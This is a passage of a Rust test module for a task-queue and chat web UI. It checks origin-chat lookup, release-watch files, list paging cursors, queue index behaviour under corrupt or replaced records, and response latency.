23554 );
23555 ui.questions.put(&mut q).unwrap();
23556 questions.push((q, expected, eligible));
23557 }
23558 for (node, reference, associated, eligible) in [
23559 (crate::reconcile::NODE, previous.id.as_str(), true, false),
23560 (
23561 crate::reconcile::NODE,
23562 previous.runs[0].as_str(),
23563 false,
23564 true,
23565 ),
23566 ("implement", previous.id.as_str(), false, false),
23567 ] {
23568 let mut q = Question::new(
23569 reference.into(),
23570 node.into(),
23571 crate::reconcile::SEAT.into(),
23572 "Reconcile".into(),
23573 String::new(),
23574 vec![],
23575 );
23576 ui.questions.put(&mut q).unwrap();
23577 questions.push((q, associated, eligible));
23578 }
23579 let mut release = Question::new(
23580 "release-record".into(),
23581 crate::bump::NOTICE_NODE.into(),
23582 "release-watch".into(),
23583 "Release".into(),
23584 String::new(),
23585 vec![],
23586 );
23587 ui.questions.put(&mut release).unwrap();
23588 let watch = crate::release_watch::WatchState {
23589 question: Some(release.id.clone()),
23590 run: Some(previous.runs[0].clone()),
23591 held_task: Some(previous.id.clone()),
23592 ..Default::default()
23593 };
23594 let watch_dir = home.path().join("release-watch");
23595 std::fs::create_dir_all(&watch_dir).unwrap();
23596 let watch_path = watch_dir.join("watch.json");
23597 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23598 for batch in [
23600 Vec::new(),
23601 questions.iter().map(|(q, _, _)| q.clone()).collect(),
23602 ] {
23603 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
23604 assert!(watches.is_empty());
23605 }
23606 questions.push((release.clone(), true, false));
23607
23608 let views = questions_list(State(ui.clone())).await.unwrap().0;
23609 let origins = question_origins(State(ui.clone())).await.unwrap().0;
23610 for (q, associated, eligible) in &questions {
23611 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
23612 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
23613 let expected = associated.then_some(chat.as_str());
23614 assert_eq!(
23615 view.origin_chat.as_deref(),
23616 expected,
23617 "{} {}",
23618 q.node,
23619 q.run
23620 );
23621 assert_eq!(origin.origin_chat.as_deref(), expected);
23622 assert_eq!(view.origin_chat_closed, *associated);
23623 assert_eq!(origin.origin_chat_closed, *associated);
23624 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
23625 assert_eq!(origin.can_consult_chat, *eligible);
23626 }
23627 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
23629 let link = crate::release_watch::WatchState {
23630 run,
23631 held_task,
23632 ..watch.clone()
23633 };
23634 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
23635 let (tasks, talks, watches) =
23636 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23637 assert_eq!(
23638 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23639 .unwrap()
23640 .id,
23641 chat,
23642 );
23643 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
23644 }
23645 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23646 let duplicate_path = watch_dir.join("duplicate.json");
23648 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23649 let (tasks, talks, watches) =
23650 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23651 assert!(
23652 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23653 .is_none()
23654 );
23655 std::fs::remove_file(duplicate_path).unwrap();
23656 let mut unrelated = Task::new(
23658 "other".into(),
23659 String::new(),
23660 PathBuf::from("/repo"),
23661 Source::Human,
23662 );
23663 unrelated.id = "unrelated-task".into();
23664 ui.queue.put(&mut unrelated).unwrap();
23665 let mut conflicting = watch.clone();
23666 conflicting.held_task = Some(unrelated.id);
23667 std::fs::write(
23668 watch_dir.join("conflict.json"),
23669 serde_json::to_vec(&conflicting).unwrap(),
23670 )
23671 .unwrap();
23672 let (tasks, talks, watches) =
23673 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23674 assert!(
23675 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23676 .is_none()
23677 );
23678 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
23679 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
23680 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
23681 assert!(origin.origin_chat.is_none());
23682 assert!(!origin.origin_chat_closed);
23683 }
23684 }
23685
23686 #[test]
23687 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
23688 let home = tempfile::tempdir().unwrap();
23689 let ui = delta_test_ui(home.path());
23690 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
23691 for i in 0..1000 {
23692 let mut task = Task::new(
23693 "unrelated".into(),
23694 "instruction ".repeat(256),
23695 PathBuf::from("/repo"),
23696 Source::Human,
23697 );
23698 task.id = format!("history-{i:04}");
23699 ui.queue.put(&mut task).unwrap();
23700 let id = seed_talk_at(&ui.talks, &task.id, "open");
23701 let mut talk = ui.talks.get(&id).unwrap();
23702 talk.pending = "history ".repeat(256);
23703 ui.talks.put(&mut talk).unwrap();
23704 }
23705 let mut parent = Task::new(
23706 "parent".into(),
23707 "body".into(),
23708 PathBuf::from("/repo"),
23709 Source::Agent {
23710 run: chat_id.clone(),
23711 node: crate::queue::CHAT_NODE.into(),
23712 },
23713 );
23714 parent.id = "task-parent".into();
23715 parent.runs = vec!["run-parent".into()];
23716 ui.queue.put(&mut parent).unwrap();
23717 let mut child = Task::new(
23718 "child".into(),
23719 "body".into(),
23720 PathBuf::from("/repo"),
23721 Source::Human,
23722 );
23723 child.id = "task-child".into();
23724 child.runs = vec!["run-child".into()];
23725 child.followup = Some(crate::queue::FollowUp {
23726 run: "run-parent".into(),
23727 origin_task: Some(parent.id.clone()),
23728 pr: "https://example.invalid/pr/1".into(),
23729 findings: vec![],
23730 generation: 1,
23731 });
23732 ui.queue.put(&mut child).unwrap();
23733 let mut question = Question::new(
23734 child.id.clone(),
23735 crate::conduct::NODE.into(),
23736 "seat".into(),
23737 "Continue?".into(),
23738 String::new(),
23739 vec![],
23740 );
23741 let (tasks, talks, _watches) =
23742 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23743 assert_eq!(tasks.len(), 2);
23744 assert_eq!(talks.len(), 1);
23745 assert_eq!(
23746 ui.monitor.queue_index.lock().unwrap().reparsed,
23747 0,
23748 "exact ancestry bypasses the index"
23749 );
23750 assert_eq!(
23751 crate::consult::origin_talk(&tasks, &talks, &question)
23752 .unwrap()
23753 .id,
23754 chat_id
23755 );
23756 question.run = "run-child".into();
23757 question.node = "review".into();
23758 for origin_task in [Some(parent.id.clone()), None] {
23759 child.followup.as_mut().unwrap().origin_task = origin_task;
23760 ui.queue.put(&mut child).unwrap();
23761 let (tasks, talks, _watches) =
23762 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23763 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
23764 let expected =
23765 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
23766 .unwrap();
23767 assert_eq!(actual.id, expected.id);
23768 assert!(!actual.status.open());
23769 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23770 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23771 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
23774 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23775 }
23776 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
23777 ui.queue.put(&mut child).unwrap();
23778 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
23779 let (tasks, talks, _watches) =
23780 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23781 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23782 child.origin_chat = Some(chat_id.clone());
23783 ui.queue.put(&mut child).unwrap();
23784 let (tasks, talks, _watches) =
23785 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23786 assert_eq!(
23787 crate::consult::origin_talk(&tasks, &talks, &question)
23788 .unwrap()
23789 .id,
23790 chat_id
23791 );
23792 let revision = question_record_revision(&question);
23793 question.abandon("settled elsewhere");
23794 assert_ne!(revision, question_record_revision(&question));
23795 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23796 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
23797 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
23798 let (tasks, talks, _watches) =
23799 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23800 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
23801 }
23802
23803 #[test]
23804 fn list_cursors_freeze_membership_and_expire_explicitly() {
23805 let home = tempfile::tempdir().unwrap();
23806 let ui = delta_test_ui(home.path());
23807 std::fs::create_dir_all(ui.queue.root()).unwrap();
23808 for i in 0..40 {
23809 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
23810 }
23811 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
23812 assert_eq!(first.len(), STORE_PAGE_SIZE);
23813 let cursor = cursor.unwrap();
23814 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
23815 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
23816 let (second, _) = page_ids(
23817 &ui,
23818 false,
23819 PageQuery {
23820 before: Some(cursor.clone()),
23821 },
23822 )
23823 .unwrap();
23824 assert_eq!(second[0], "record-0023");
23825 assert!(second.iter().all(|id| !first.contains(id)));
23826 assert!(
23827 page_ids(
23828 &ui,
23829 true,
23830 PageQuery {
23831 before: Some(cursor.clone())
23832 }
23833 )
23834 .is_err()
23835 );
23836 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
23837 assert_eq!(fresh[0], "record-9999");
23838 ui.monitor.list_walks.lock().unwrap().clear();
23839 assert!(
23840 page_ids(
23841 &ui,
23842 false,
23843 PageQuery {
23844 before: Some(cursor)
23845 }
23846 )
23847 .is_err()
23848 );
23849 }
23850
23851 #[tokio::test]
23852 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
23853 let home = tempfile::tempdir().unwrap();
23854 let ui = delta_test_ui(home.path());
23855 let mut task = Task::new(
23856 "task".into(),
23857 "body".into(),
23858 PathBuf::from("/repo"),
23859 Source::Human,
23860 );
23861 ui.queue.put(&mut task).unwrap();
23862 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23863 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23864 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23865 let expected = parsed + usize::from(!cfg!(unix));
23866 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23867 task.status = crate::queue::TaskStatus::Held;
23868 ui.queue.put(&mut task).unwrap();
23869 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23870 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23871 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
23872 ui.queue.put(&mut task).unwrap();
23873 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23874 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23875 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
23876 }
23877
23878 #[tokio::test]
23879 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
23880 let home = tempfile::tempdir().unwrap();
23881 let ui = delta_test_ui(home.path());
23882 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23883 let before = health(State(ui.clone())).await.unwrap().0;
23884 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
23885 let after = health(State(ui)).await.unwrap().0;
23886 assert_ne!(before.notifications_rev, after.notifications_rev);
23887 assert_eq!(after.notifications_unread, 1);
23888 }
23889
23890 #[tokio::test]
23891 async fn list_pages_bound_history_and_keep_dependency_evidence() {
23892 let home = tempfile::tempdir().unwrap();
23893 let ui = delta_test_ui(home.path());
23894 let queue = &ui.queue;
23895 let talks = &ui.talks;
23896 for i in 0..1000 {
23897 let id = format!("20261019-{i:06}-page");
23898 let mut task = Task::new(
23899 "task".into(),
23900 "instruction".repeat(100),
23901 PathBuf::from("/repo/magi"),
23902 Source::Human,
23903 );
23904 task.id = id.clone();
23905 if i == 0 {
23906 task.status = crate::queue::TaskStatus::Held;
23907 } else if i == 999 {
23908 task.status = crate::queue::TaskStatus::Blocked;
23909 task.blocked_by = vec!["20261019-000000-page".into()];
23910 }
23911 queue.put(&mut task).unwrap();
23912 seed_talk_at(talks, &id, "open");
23913 }
23914 let page = serde_json::to_value(
23915 queue_page(State(ui.clone()), Query(PageQuery::default()))
23916 .await
23917 .unwrap()
23918 .0,
23919 )
23920 .unwrap();
23921 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23922 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
23923 assert!(
23924 !page["rows"][0]["stuck_roots"]
23925 .as_array()
23926 .unwrap()
23927 .is_empty()
23928 );
23929 let cursor = page["next"].as_str().unwrap();
23930 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
23931 .as_str()
23932 .unwrap();
23933 std::fs::remove_file(queue.path_of(last_id)).unwrap();
23935 let next = serde_json::to_value(
23936 queue_page(
23937 State(ui.clone()),
23938 Query(PageQuery {
23939 before: Some(cursor.into()),
23940 }),
23941 )
23942 .await
23943 .unwrap()
23944 .0,
23945 )
23946 .unwrap();
23947 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23948 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
23949 let chats = serde_json::to_value(
23950 talks_page(State(ui.clone()), Query(PageQuery::default()))
23951 .await
23952 .unwrap()
23953 .0,
23954 )
23955 .unwrap();
23956 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23957 assert!(chats["rows"][0].get("pending").is_none());
23958 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
23959 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
23960 assert_eq!(counts["held"], 1);
23961 assert_eq!(counts["blocked"], 1);
23962 assert_eq!(counts["queued"], 997);
23963 }
23964
23965 #[test]
23966 fn queue_index_observes_external_replacement_deletion_and_corruption() {
23967 let dir = tempfile::tempdir().unwrap();
23968 let ui = delta_test_ui(dir.path());
23969 let mut task = Task::new(
23970 "task".into(),
23971 "body".into(),
23972 PathBuf::from("/repo"),
23973 Source::Human,
23974 );
23975 task.runs = vec!["run-a".into()];
23976 ui.queue.put(&mut task).unwrap();
23977 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
23978 task.runs = vec!["run-b".into()];
23979 let path = ui.queue.path_of(&task.id);
23980 let modified = path.metadata().unwrap().modified().unwrap();
23981 let replacement = path.with_extension("replacement");
23982 let bytes = serde_json::to_vec_pretty(&task).unwrap();
23983 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
23984 std::fs::write(&replacement, &bytes).unwrap();
23985 std::fs::File::options()
23986 .write(true)
23987 .open(&replacement)
23988 .unwrap()
23989 .set_times(std::fs::FileTimes::new().set_modified(modified))
23990 .unwrap();
23991 std::fs::rename(&replacement, &path).unwrap();
23992 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
23993 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23994 std::fs::write(&path, "broken").unwrap();
23995 assert!(ui.find_task_for_run("run-b").is_err());
23996 std::fs::write(&path, bytes).unwrap();
23997 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23998 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23999 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24000 }
24001
24002 #[tokio::test]
24003 async fn conversation_core_is_independent_of_unreadable_related_history() {
24004 let home = tempfile::tempdir().unwrap();
24005 let ui = delta_test_ui(home.path());
24006 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24007 std::fs::create_dir_all(ui.queue.root()).unwrap();
24008 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24009 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24010 .await
24011 .unwrap();
24012 assert_eq!(core.talk.id, id);
24013 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24014 }
24015
24016 #[tokio::test]
24017 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24018 let home = tempfile::tempdir().unwrap();
24019 let ui = delta_test_ui(home.path());
24020 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24021 let mut run = RunState::new(
24022 PathBuf::from("/repo"),
24023 "main".into(),
24024 "01234567".into(),
24025 "Useful run".into(),
24026 Config::default(),
24027 );
24028 run.save_under(home.path()).unwrap();
24029 let mut task = Task::new(
24030 "Related".into(),
24031 "body".into(),
24032 PathBuf::from("/repo"),
24033 Source::Agent {
24034 run: talk_id.clone(),
24035 node: "chat".into(),
24036 },
24037 );
24038 task.runs = vec![run.id.clone()];
24039 ui.queue.put(&mut task).unwrap();
24040 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24041 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24042 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24043 assert!(
24044 run_detail(State(ui.clone()), Path(run.id.clone()))
24045 .await
24046 .is_ok()
24047 );
24048 assert!(
24049 talk_sections(State(ui.clone()), Path(talk_id.clone()))
24050 .await
24051 .is_ok()
24052 );
24053 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24055 assert!(ui.find_task_for_run(&run.id).is_err());
24056 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24057 ui.queue.put(&mut task).unwrap();
24058 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24059 }
24060
24061 #[tokio::test]
24062 async fn conversation_sections_omit_large_task_instructions() {
24063 let home = tempfile::tempdir().unwrap();
24064 let ui = delta_test_ui(home.path());
24065 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24066 let mut task = Task::new(
24067 "filed task".into(),
24068 "large instruction ".repeat(65536),
24069 PathBuf::from("/repo"),
24070 Source::Agent {
24071 run: id.clone(),
24072 node: "chat".into(),
24073 },
24074 );
24075 ui.queue.put(&mut task).unwrap();
24076 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24077 assert_eq!(sections["tasks"][0]["id"], task.id);
24078 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24079 assert!(sections["tasks"][0].get("instruction").is_none());
24080 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
24081 }
24082
24083 #[test]
24084 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24085 let home = tempfile::tempdir().unwrap();
24086 let talks = Talks::at(home.path().join("talks"));
24087 seed_talk_at(&talks, "20261019-000001-abcd", "open");
24088 seed_talk_at(&talks, "20261019-000002-abcd", "open");
24089 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24090 assert!(resolve_talk(&talks, "../outside").is_err());
24091 assert!(resolve_talk(&talks, "abcd").is_err());
24092 assert_eq!(
24093 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24094 "20261019-000001-abcd"
24095 );
24096 }
24097
24098 include!(concat!(
24099 env!("CARGO_MANIFEST_DIR"),
24100 "/tests/web_latency/baseline.rs"
24101 ));
24102
24103 include!(concat!(
24104 env!("CARGO_MANIFEST_DIR"),
24105 "/tests/web_latency/lists.rs"
24106 ));
24107
24108 #[tokio::test]
24109 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24110 async fn web_history_latency_measurement() {
24111 use std::time::Instant;
24112 let home = tempfile::tempdir().unwrap();
24113 let ui = delta_test_ui(home.path());
24114 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24115 let mut template = ui.talks.get(&id).unwrap();
24116 template.turns = serde_json::from_value(serde_json::json!([{
24117 "who": "operator", "body": "Show the accumulated work and its current status.",
24118 "at": Timestamp::now().to_string(),
24119 }]))
24120 .unwrap();
24121 std::fs::write(
24122 ui.talks.path_of(&id),
24123 serde_json::to_vec(&template).unwrap(),
24124 )
24125 .unwrap();
24126 let count = std::env::var("MAGI_BENCH_RECORDS")
24127 .ok()
24128 .and_then(|s| s.parse::<usize>().ok())
24129 .unwrap_or(1000);
24130 for i in 0..count {
24131 template.id = format!("20261019-{i:06}-history");
24132 template.pending = "history ".repeat(2048);
24133 std::fs::write(
24134 ui.talks.path_of(&template.id),
24135 serde_json::to_vec(&template).unwrap(),
24136 )
24137 .unwrap();
24138 let mut task = Task::new(
24139 "old task".into(),
24140 "instruction ".repeat(2048),
24141 PathBuf::from("/repo"),
24142 Source::Human,
24143 );
24144 task.id = format!("20261019-{i:06}-task");
24145 ui.queue.put(&mut task).unwrap();
24146 }
24147 for baseline in [true, false] {
24148 for clients in [1, 4] {
24149 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24150 let mut samples = Vec::new();
24151 for _ in 0..12 {
24152 let mut jobs = Vec::new();
24153 for _ in 0..clients {
24154 let ui = ui.clone();
24155 let id = id.clone();
24156 jobs.push(tokio::spawn(async move {
24157 let start = Instant::now();
24158 if baseline {
24159 let response =
24160 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24161 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24162 return (
24163 elapsed,
24164 elapsed,
24165 serde_json::to_vec(&response).unwrap().len(),
24166 );
24167 }
24168 let core = talk_core(State(ui.clone()), Path(id.clone()));
24169 let secondary = talk_sections(State(ui), Path(id));
24170 let (first, total) = tokio::join!(
24171 async {
24172 let value = core.await.unwrap().0;
24173 (
24174 start.elapsed().as_secs_f64() * 1000.0,
24175 serde_json::to_vec(&value).unwrap().len(),
24176 )
24177 },
24178 async {
24179 let value = secondary.await.unwrap().0;
24180 (
24181 start.elapsed().as_secs_f64() * 1000.0,
24182 serde_json::to_vec(&value).unwrap().len(),
24183 )
24184 }
24185 );
24186 (first.0, first.0.max(total.0), first.1 + total.1)
24187 }));
24188 }
24189 for job in jobs {
24190 samples.push(job.await.unwrap());
24191 }
24192 }
24193 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24194 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24195 first.sort_by(f64::total_cmp);
24196 total.sort_by(f64::total_cmp);
24197 let n = first.len();
24198 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24199 println!(
24200 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24201 first[n / 2],
24202 first[(n * 95 / 100).min(n - 1)],
24203 total[n / 2],
24204 total[(n * 95 / 100).min(n - 1)],
24205 samples[0].2
24206 );
24207 }
24208 }
24209 }
24210
24211 #[test]
24212 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24213 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24215 assert!(APP_JS.contains("function nextRunRequest(id)"));
24216 assert!(APP_JS.contains("function runShell(id, summary)"));
24217 assert!(APP_JS.contains("function nextTaskRequest(id)"));
24218 assert!(APP_JS.contains("function taskShell(id, summary)"));
24219 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24220 }
24221}